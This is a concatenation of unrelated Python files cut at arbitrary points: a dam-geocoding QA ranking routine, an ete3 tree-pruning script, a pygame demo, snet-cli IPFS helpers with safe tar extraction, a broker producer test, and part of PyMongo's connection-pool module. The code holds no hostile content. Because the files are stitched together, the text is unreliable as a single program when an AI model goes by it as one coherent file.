same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [6] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state out-town' or \ x == 'in-country out-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [6.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state out-town' or \ x == 'in-country out-state unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [7] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:16] == 'unknown-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [7.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:16] == 'unknown-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [8] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:12] == 'out-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [8.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x[0:12] == 'out-country '] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] GOOD_local_addresses_rank.append(rank_index[0]) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. # The remaining geocoded records (QA_rank = 9) are considered to be unsuccessful and errorneous. # They will not participate into manual quality control (QC). QA_rank = [9] # Close files outfile_obj.close() # Save the output infile_obj.close() # Release the input print("----- Module Completed -----") print(datetime.datetime.now()) 0 #!/usr/bin/python ## Usage ## python get_tip_labels_from_subtree.py [tree file] [list of taxa to specify node of subtree] > [output file] from ete3 import Tree import sys IN=sys.argv[1] NAMES=sys.argv[2] # read tree t = Tree( IN ) # Get the node/subtree that contains both the specified leaves with open(NAMES) as f: TIPS = f.read().splitlines() ancestor = t.get_common_ancestor(TIPS) ## prune the tree to remove everything else t.prune(ancestor) ## get leaf names for leaf in t: print leaf.name ROTARTSI82/RoEngine1-10 # -*- coding: UTF-8 -*- import pygame from roengine import * class CustomGame(Game): screen, players, COLLIDABLES, MAP = [Dummy(), ] * 4 def start(self, *args, **kwargs): pygame.init() self.screen = pygame.display.set_mode([640, 480]) self.players = pygame.sprite.Group(PlatformerPlayer(pygame.Surface([15, 15]).convert_alpha())) self.COLLIDABLES = pygame.sprite.Group(Obstacle([100, 10], [100, 400]), Obstacle([100, 10], [150, 428]), Obstacle([10, 400], [250, 28]), Obstacle([1920, 50], [320, 480]), Obstacle([100, 150], [320, 405])) # self.proj = pygame.sprite.Group() for player in self.players: player.collidables = self.COLLIDABLES self.MAP = Map([1000, 1000]) # self.markers = pygame.sprite.Group() self.running = True def tick(self, *args, **kwargs): self.screen.fill([255, 255, 255]) self.MAP.fill([255, 255, 255]) self.MAP.draw_group(self.COLLIDABLES) # markers.draw(MAP._map) for player in self.players: self.MAP.draw_sprite(player) # self.MAP.draw_group(self.proj) self.MAP.scale_to(self.screen, [2, 2]) scrollplayer = self.players.sprites()[0] self.MAP.get_scroll(scrollplayer.rect.center, self.screen, [self.screen.get_width()/2, self.screen.get_height()/2], True, [True, False]) self.MAP.blit_to(self.screen) self.players.update() # self.proj.update() mp = self.MAP.translate_pos(pygame.mouse.get_pos()) # for p in self.proj: # p.rot_to_target(mp) # p.vel_to_target(mp) [player.update_rot(mp) for player in self.players] [player.check_bounds(self.MAP.get_map()) for player in self.players] pygame.display.flip() for event in pygame.event.get(): if event.type == pygame.QUIT: self.terminate() [player.update_event(event) for player in self.players] if event.type == pygame.MOUSEBUTTONDOWN: self.players.add(self.new_player()) for player in self.players: player.collidables = self.COLLIDABLES # self.proj.add(Projectile(pygame.Surface([10, 10]).convert_alpha(), 5)) # print (self.proj) # self.player.collidables.add(self.proj) def stop(self, *args, **kwargs): pygame.quit() self.running = False def new_player(self): image = pygame.Surface([25, 25]).convert_alpha() image.fill([255, 0, 0]) return PlatformerPlayer(image) if __name__ == "__main__": game = CustomGame() game.load() reactor.run() from .test_extension import action_extensions # noqa: F401 pratik-vii/snet-clipackages/snet_cli/snet/snet_cli/utils_ipfs.py """ Utilities related to ipfs """ import tarfile import glob import io import os import base58 import multihash def publish_file_in_ipfs(ipfs_client, filepath, wrap_with_directory=True): """ push a file to ipfs given its path """ try: with open(filepath, 'r+b') as file: result = ipfs_client.add( file, pin=True, wrap_with_directory=wrap_with_directory) if wrap_with_directory: return result[1]['Hash']+'/'+result[0]['Name'] return result['Hash'] except Exception as err: print("File error ", err) def publish_proto_in_ipfs(ipfs_client, protodir): """ make tar from protodir/*proto, and publish this tar in ipfs return base58 encoded ipfs hash """ if (not os.path.isdir(protodir)): raise Exception("Directory %s doesn't exists" % protodir) files = glob.glob(os.path.join(protodir, "*.proto")) if (len(files) == 0): raise Exception("Cannot find any %s files" % (os.path.join(protodir, "*.proto"))) # We are sorting files before we add them to the .tar since an archive containing the same files in a different # order will produce a different content hash; files.sort() tarbytes = io.BytesIO() tar = tarfile.open(fileobj=tarbytes, mode="w") for f in files: tar.add(f, os.path.basename(f)) tar.close() return ipfs_client.add_bytes(tarbytes.getvalue()) def get_from_ipfs_and_checkhash(ipfs_client, ipfs_hash_base58, validate=True): """ Get file from ipfs We must check the hash becasue we cannot believe that ipfs_client wasn't been compromise """ if validate: from snet.snet_cli.resources.proto.unixfs_pb2 import Data from snet.snet_cli.resources.proto.merckledag_pb2 import MerkleNode # No nice Python library to parse ipfs blocks, so do it ourselves. block_data = ipfs_client.block_get(ipfs_hash_base58) mn = MerkleNode() mn.ParseFromString(block_data) unixfs_data = Data() unixfs_data.ParseFromString(mn.Data) assert unixfs_data.Type == unixfs_data.DataType.Value( 'File'), "IPFS hash must be a file" data = unixfs_data.Data # multihash has a badly registered base58 codec, overwrite it... multihash.CodecReg.register( 'base58', base58.b58encode, base58.b58decode) # create a multihash object from our ipfs hash mh = multihash.decode(ipfs_hash_base58.encode('ascii'), 'base58') # Convenience method lets us directly use a multihash to verify data if not mh.verify(block_data): raise Exception("IPFS hash mismatch with data") else: data = ipfs_client.cat(ipfs_hash_base58) return data def hash_to_bytesuri(s): """ Convert in and from bytes uri format used in Registry contract """ # TODO: we should pad string with zeros till closest 32 bytes word because of a bug in processReceipt (in snet_cli.contract.process_receipt) s = "ipfs://" + s return s.encode("ascii").ljust(32 * (len(s)//32 + 1), b"\0") def bytesuri_to_hash(s): s = s.rstrip(b"\0").decode('ascii') if (not s.startswith("ipfs://")): raise Exception("We support only ipfs uri in Registry") return s[7:] def safe_extract_proto_from_ipfs(ipfs_client, ipfs_hash, protodir): """ Tar files might be dangerous (see https://bugs.python.org/issue21109, and https://docs.python.org/3/library/tarfile.html, TarFile.extractall warning) we extract only simple files """ spec_tar = get_from_ipfs_and_checkhash(ipfs_client, ipfs_hash) with tarfile.open(fileobj=io.BytesIO(spec_tar)) as f: for m in f.getmembers(): if (os.path.dirname(m.name) != ""): raise Exception( "tarball has directories. We do not support it.") if (not m.isfile()): raise Exception( "tarball contains %s which is not a files" % m.name) fullname = os.path.join(protodir, m.name) if (os.path.exists(fullname)): raise Exception("%s already exists." % fullname) # now it is safe to call extractall f.extractall(protodir) # vim: set fileencoding=utf-8 : import Broker from time import sleep, time destination = '/python/tests2' kind = 'QUEUE' #broker logging everything import logging logging.basicConfig(level=logging.INFO) #logging.getLogger("Broker").setLevel(logging.DEBUG) from random import random broker = Broker.Client('localhost', 2222) msg = Broker.Message(payload='este é o payload', destination=destination) for id in xrange(1000): msg.id = "%d, message_id = %d" % (time(), id) broker.produce(msg, kind) # Copyright 2011-present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you # may not use this file except in compliance with the License. You # may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. See the License for the specific language governing # permissions and limitations under the License. import collections import contextlib import copy import os import platform import socket import ssl import sys import threading import time import weakref from typing import Any, NoReturn, Optional from bson import DEFAULT_CODEC_OPTIONS from bson.son import SON from pymongo import __version__, _csot, auth, helpers from pymongo.client_session import _validate_session_write_concern from pymongo.common import ( MAX_BSON_SIZE, MAX_CONNECTING, MAX_IDLE_TIME_SEC, MAX_MESSAGE_SIZE, MAX_POOL_SIZE, MAX_WIRE_VERSION, MAX_WRITE_BATCH_SIZE, MIN_POOL_SIZE, ORDERED_TYPES, WAIT_QUEUE_TIMEOUT, ) from pymongo.errors import ( AutoReconnect, ConfigurationError, ConnectionFailure, DocumentTooLarge, ExecutionTimeout, InvalidOperation, NetworkTimeout, NotPrimaryError, OperationFailure, PyMongoError, _CertificateError, ) from pymongo.hello import Hello, HelloCompat from pymongo.monitoring import ConnectionCheckOutFailedReason, ConnectionClosedReason from pymongo.network import command, receive_message from pymongo.read_preferences import ReadPreference from pymongo.server_api import _add_to_command from pymongo.server_type import SERVER_TYPE from pymongo.socket_checker import SocketChecker from pymongo.ssl_support import HAS_SNI, SSLError try: from fcntl import F_GETFD, F_SETFD, FD_CLOEXEC, fcntl def _set_non_inheritable_non_atomic(fd): """Set the close-on-exec flag on the given file descriptor.""" flags = fcntl(fd, F_GETFD) fcntl(fd, F_SETFD, flags | FD_CLOEXEC) except ImportError: # Windows, various platforms we don't claim to support # (Jython, IronPython, ...), systems that don't provide # everything we need from fcntl, etc. def _set_non_inheritable_non_atomic(fd): """Dummy function for platforms that don't provide fcntl.""" pass _MAX_TCP_KEEPIDLE = 120 _MAX_TCP_KEEPINTVL = 10 _MAX_TCP_KEEPCNT = 9 if sys.platform == "win32": try: import _winreg as winreg except ImportError: import winreg def _query(key, name, default): try: value, _ = winreg.QueryValueEx(key, name) # Ensure the value is a number or raise ValueError. return int(value) except (OSError, ValueError): # QueryValueEx raises OSError when the key does not exist (i.e. # the system is using the Windows default value). return default try: with winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" ) as key: _WINDOWS_TCP_IDLE_MS = _query(key, "KeepAliveTime", 7200000) _WINDOWS_TCP_INTERVAL_MS = _query(key, "KeepAliveInterval", 1000) except OSError: # We could not check the default values because winreg.OpenKey failed. # Assume the system is using the default values. _WINDOWS_TCP_IDLE_MS = 7200000 _WINDOWS_TCP_INTERVAL_MS = 1000 def _set_keepalive_times(sock): idle_ms = min(_WINDOWS_TCP_IDLE_MS, _MAX_TCP_KEEPIDLE * 1000) interval_ms = min(_WINDOWS_TCP_INTERVAL_MS, _MAX_TCP_KEEPINTVL * 1000) if idle_ms < _WINDOWS_TCP_IDLE_MS or interval_ms < _WINDOWS_TCP_INTERVAL_MS: sock.ioctl(socket.SIO_KEEPALIVE_VALS, (1, idle_ms, interval_ms)) else: def _set_tcp_option(sock, tcp_option, max_value): if hasattr(socket, tcp_option): sockopt = getattr(socket, tcp_option) try: # PYTHON-1350 - NetBSD doesn't implement getsockopt for # TCP_KEEPIDLE and friends. Don't attempt to set the # values there. default = sock.getsockopt(socket.IPPROTO_TCP, sockopt) if default > max_value: sock.setsockopt(socket.IPPROTO_TCP, sockopt, max_value) except socket.error: pass def _set_keepalive_times(sock): _set_tcp_option(sock, "TCP_KEEPIDLE", _MAX_TCP_KEEPIDLE) _set_tcp_option(sock, "TCP_KEEPINTVL", _MAX_TCP_KEEPINTVL) _set_tcp_option(sock, "TCP_KEEPCNT", _MAX_TCP_KEEPCNT) _METADATA: SON[str, Any] = SON( [ ("driver", SON([("name", "PyMongo"), ("version", __version__)])), ] ) if sys.platform.startswith("linux"): # platform.linux_distribution was deprecated in Python 3.5 # and removed in Python 3.8. Starting in Python 3.5 it # raises DeprecationWarning # DeprecationWarning: dist() and linux_distribution() functions are deprecated in Python 3.5 _name = platform.system() _METADATA["os"] = SON( [ ("type", _name), ("name", _name), ("architecture", platform.machine()), # Kernel version (e.g. 4.4.0-17-generic). ("version", platform.release()), ] ) elif sys.platform == "darwin": _METADATA["os"] = SON( [ ("type", platform.system()), ("name", platform.system()), ("architecture", platform.machine()), # (mac|i|tv)OS(X) version (e.g. 10.11.6) instead of darwin # kernel version. ("version", platform.mac_ver()[0]), ] ) elif sys.platform == "win32": _METADATA["os"] = SON( [ ("type", platform.system()), # "Windows XP", "Windows 7", "Windows 10", etc. ("name", " ".join((platform.system(), platform.release()))), ("architecture", platform.machine()), # Windows patch level (e.g. 5.1.2600-SP3) ("version", "-".join(platform.win32_ver()[1:3])), ] ) elif sys.platform.startswith("java"): _name, _ver, _arch = platform.java_ver()[-1] _METADATA["os"] = SON( [ # Linux, Windows 7, Mac OS X, etc. ("type", _name), ("name", _name), # x86, x86_64, AMD64, etc. ("architecture", _arch), # Linux kernel version, OSX version, etc. ("version", _ver), ] ) else: # Get potential alias (e.g. SunOS 5.11 becomes Solaris 2.11) _aliased = platform.system_alias(platform.system(), platform.release(), platform.version()) _METADATA["os"] = SON( [ ("type", platform.system()), ("name", " ".join([part for part in _aliased[:2] if part])), ("architecture", platform.machine()), ("version", _aliased[2]), ] ) if platform.python_implementation().startswith("PyPy"): _METADATA["platform"] = " ".join( ( platform.python_implementation(), ".".join(map(str, sys.pypy_version_info)), # type: ignore "(Python %s)" % ".".join(map(str, sys.version_info)), ) ) elif sys.platform.startswith("java"): _METADATA["platform"] = " ".join( ( platform.python_implementation(), ".".join(map(str, sys.version_info)), "(%s)" % " ".join((platform.system(), platform.release())), ) ) else: _METADATA["platform"] = " ".join( (platform.python_implementation(), ".".join(map(str, sys.version_info))) ) # If the first getaddrinfo call of this interpreter's life is on a thread, # while the main thread holds the import lock, getaddrinfo deadlocks trying # to import the IDNA codec. Import it here, where presumably we're on the # main thread, to avoid the deadlock. See PYTHON-607. "foo".encode("idna") def _raise_connection_failure( address: Any, error: Exception, msg_prefix: Optional[str] = None ) -> NoReturn: """Convert a socket.error to ConnectionFailure and raise it.""" host, port = address # If connecting to a Unix socket, port will be None. if port is not None: msg = "%s:%d: %s" % (host, port, error) else: msg = "%s: %s" % (host, error) if msg_prefix: msg = msg_prefix + msg if isinstance(error, socket.timeout): raise NetworkTimeout(msg) from error elif isinstance(error, SSLError) and "timed out" in str(error): # Eventlet does not distinguish TLS network timeouts from other # SSLErrors (https://github.com/eventlet/eventlet/issues/692). # Luckily, we can work around this limitation because the phrase # 'timed out' appears in all the timeout related SSLErrors raised. raise NetworkTimeout(msg) from error else: raise AutoReconnect(msg) from error def _cond_wait(condition, deadline): timeout = deadline - time.monotonic() if deadline else None return condition.wait(timeout) class PoolOptions(object): """Read only connection pool options for a MongoClient. Should not be instantiated directly by application developers. Access a client's pool options via :attr:`~pymongo.client_options.ClientOptions.pool_options` instead:: pool_opts = client.options.pool_options pool_opts.max_pool_size pool_opts.min_pool_size """ __slots__ = ( "__max_pool_size", "__min_pool_size", "__max_idle_time_seconds", "__connect_timeout", "__socket_timeout", "__wait_queue_timeout", "__ssl_context", "__tls_allow_invalid_hostnames", "__event_listeners", "__appname", "__driver", "__metadata", "__compression_settings", "__max_connecting", "__pause_enabled", "__server_api", "__load_balanced", "__credentials", ) def __init__( self, max_pool_size=MAX_POOL_SIZE, min_pool_size=MIN_POOL_SIZE, max_idle_time_seconds=MAX_IDLE_TIME_SEC, connect_timeout=None, socket_timeout=None, wait_queue_timeout=WAIT_QUEUE_TIMEOUT, ssl_context=None, tls_allow_invalid_hostnames=False, event_listeners=None, appname=None, driver=None, compression_settings=None, max_connecting=MAX_CONNECTING, pause_enabled=True, server_api=None, load_balanced=None, credentials=None, ): self.__max_pool_size = max_pool_size self.__min_pool_size = min_pool_size self.__max_idle_time_seconds = max_idle_time_seconds self.__connect_timeout = connect_timeout self.__socket_timeout = socket_timeout self.__wait_queue_timeout = wait_queue_timeout self.__ssl_context = ssl_context self.__tls_allow_invalid_hostnames = tls_allow_invalid_hostnames self.__event_listeners = event_listeners self.__appname = appname self.__driver = driver self.__compression_settings = compression_settings self.__max_connecting = max_connecting self.__pause_enabled = pause_enabled self.__server_api = server_api self.__load_balanced = load_balanced self.__credentials = credentials self.__metadata = copy.deepcopy(_METADATA) if appname: self.__metadata["application"] = {"name": appname} # Combine the "driver" MongoClient option with PyMongo's info, like: # { # 'driver': { # 'name': 'PyMongo|MyDriver', # 'version': '4.2.0|1.2.3', # }, # 'platform': 'CPython 3.7.0|MyPlatform' # } if driver: if driver.name: self.__metadata["driver"]["name"] = "%s|%s" % ( _METADATA["driver"]["name"], driver.name, ) if driver.version: self.__metadata["driver"]["version"] = "%s|%s" % ( _METADATA["driver"]["version"], driver.version, ) if driver.platform: self.__metadata["platform"] = "%s|%s" % (_METADATA["platform"], driver.platform) @property def _credentials(self): """A :class:`~pymongo.auth.MongoCredentials` instance or None.""" return self.__credentials @property def non_default_options(self): """The non-default options this pool was created with. Added for CMAP's :class:`PoolCreatedEvent`. """ opts = {} if self.__max_pool_size != MAX_POOL_SIZE: opts["maxPoolSize"] = self.__max_pool_size if self.__min_pool_size != MIN_POOL_SIZE: opts["minPoolSize"] = self.__min_pool_size if self.__max_idle_time_seconds != MAX_IDLE_TIME_SEC: opts["maxIdleTimeMS"] = self.__max_idle_time_seconds * 1000 if self.__wait_queue_timeout != WAIT_QUEUE_TIMEOUT: opts["waitQueueTimeoutMS"] = self.__wait_queue_timeout * 1000 if self.__max_connecting != MAX_CONNECTING: opts["maxConnecting"] = self.__max_connecting return opts @property def max_pool_size(self): """The maximum allowable number of concurrent connections to each connected server. Requests to a server will block if there are `maxPoolSize` outstanding connections to the requested server. Defaults to 100. Cannot be 0. When a server's pool has reached `max_pool_size`, operations for that server block waiting for a socket to be returned to the pool. If ``waitQueueTimeoutMS`` is set, a blocked operation will raise :exc:`~pymongo.errors.ConnectionFailure` after a timeout. By default ``waitQueueTimeoutMS`` is not set. """ return self.__max_pool_size @property def min_pool_size(self): """The minimum required number of concurrent connections that the pool will maintain to each connected server. Default is 0. """ return self.__min_pool_size @property def max_connecting(self): """The maximum number of concurrent connection creation attempts per pool. Defaults to 2. """ return self.__max_connecting @property def pause_enabled(self): return self.__pause_enabled @property def max_idle_time_seconds(self): """The maximum number of seconds that a connection can remain idle in the pool before being removed and replaced. Defaults to `None` (no limit). """ return self.__max_idle_time_seconds @property def connect_timeout(self): """How long a connection can take to be opened before timing out.""" return self.__connect_timeout @property def socket_timeout(self): """How long a send or receive on a socket can take before timing out.""" return self.__socket_timeout @property def wait_queue_timeout(self): """How long a thread will wait for a socket from the pool if the pool has no free sockets. """ return self.__wait_queue_timeout @property def _ssl_context(self): """An SSLContext instance or None.""" return self.__ssl_context @property def tls_allow_invalid_hostnames(self): """If True skip ssl.match_hostname.""" return self.__tls_allow_invalid_hostnames @property def _event_listeners(self): """An instance of pymongo.monitoring._EventListeners.""" return self.__event_listeners @property def appname(self): """The application name, for sending with hello in server handshake.""" return self.__appname @property def driver(self): """Driver name and version, for sending with hello in handshake.""" return self.__driver @property def _compression_settings(self): return self.__compression_settings @property def metadata(self): """A dict of metadata about the application, driver, os, and platform.""" return self.__metadata.copy() @property def server_api(self): """A pymongo.server_api.ServerApi or None.""" return self.__server_api @property def load_balanced(self): """True if this Pool is configured in load balanced mode.""" return self.__load_balanced class _CancellationContext(object): def __init__(self): self._cancelled = False def cancel(self): """Cancel this context.""" self._cancelled = True @property def cancelled(self): """Was cancel called?""" return self._cancelled class SocketInfo(object): """Store a socket with some metadata. :Parameters: - `sock`: a raw socket object - `pool`: a Pool instance - `address`: the server's (host, port) - `id`: the id of this socket in it's pool """ def __init__(self, sock, pool, address, id): self.pool_ref = weakref.ref(pool) self.sock = sock self.address = address self.id = id self.authed = set() self.closed = False self.last_checkin_time = time.monotonic() self.performed_handshake = False self.is_writable = False self.max_wire_version = MAX_WIRE_VERSION self.max_bson_size = MAX_BSON_SIZE self.max_message_size = MAX_MESSAGE_SIZE self.max_write_batch_size = MAX_WRITE_BATCH_SIZE self.supports_sessions = False self.hello_ok = None self.is_mongos = False self.op_msg_enabled = False self.listeners = pool.opts._event_listeners self.enabled_for_cmap = pool.enabled_for_cmap self.compression_settings = pool.opts._compression_settings self.compression_context = None self.socket_checker = SocketChecker() # Support for mechanism negotiation on the initial handshake. self.negotiated_mechs = None self.auth_ctx = None # The pool's generation changes with each reset() so we can close # sockets created before the last reset. self.pool_gen = pool.gen self.generation = self.pool_gen.get_overall() self.ready = False self.cancel_context = None if not pool.handshake: # This is a Monitor connection. self.cancel_context = _CancellationContext() self.opts = pool.opts self.more_to_come = False # For load balancer support. self.service_id = None # When executing a transaction in load balancing mode, this flag is # set to true to indicate that the session now owns the connection. self.pinned_txn = False self.pinned_cursor = False self.active = False self.last_timeout = self.opts.socket_timeout def set_socket_timeout(self, timeout): """Cache last timeout to avoid duplicate calls to sock.settimeout.""" if timeout == self.last_timeout: return self.last_timeout = timeout self.sock.settimeout(timeout) def apply_timeout(self, client, cmd, write_concern=None): # CSOT: use remaining timeout when set. timeout = _csot.remaining() if timeout is None: # Reset the socket timeout unless we're performing a streaming monitor check. if not self.more_to_come: self.set_socket_timeout(self.opts.socket_timeout) if cmd and write_concern and not write_concern.is_server_default: cmd["writeConcern"] = write_concern.document return None # RTT validation. rtt = _csot.get_rtt() max_time_ms = timeout - rtt if max_time_ms < 0: # CSOT: raise an error without running the command since we know it will time out. errmsg = f"operation would exceed time limit, remaining timeout:{timeout:.5f} <= network round trip time:{rtt:.5f}" raise ExecutionTimeout( errmsg, 50, {"ok": 0, "errmsg": errmsg, "code": 50}, self.max_wire_version ) if cmd is not None: cmd["maxTimeMS"] = int(max_time_ms * 1000) wc = write_concern.document if write_concern else {} wc.pop("wtimeout", None) if wc: cmd["writeConcern"] = wc self.set_socket_timeout(timeout) return timeout def pin_txn(self): self.pinned_txn = True assert not self.pinned_cursor def pin_cursor(self): self.pinned_cursor = True assert not self.pinned_txn def unpin(self): pool = self.pool_ref() if pool: pool.return_socket(self) else: self.close_socket(ConnectionClosedReason.STALE) def hello_cmd(self): # Handshake spec requires us to use OP_MSG+hello command for the # initial handshake in load balanced or stable API mode. if self.opts.server_api or self.hello_ok or self.opts.load_balanced: self.op_msg_enabled = True return SON([(HelloCompat.CMD, 1)]) else: return SON([(HelloCompat.LEGACY_CMD, 1), ("helloOk", True)]) def hello(self): return 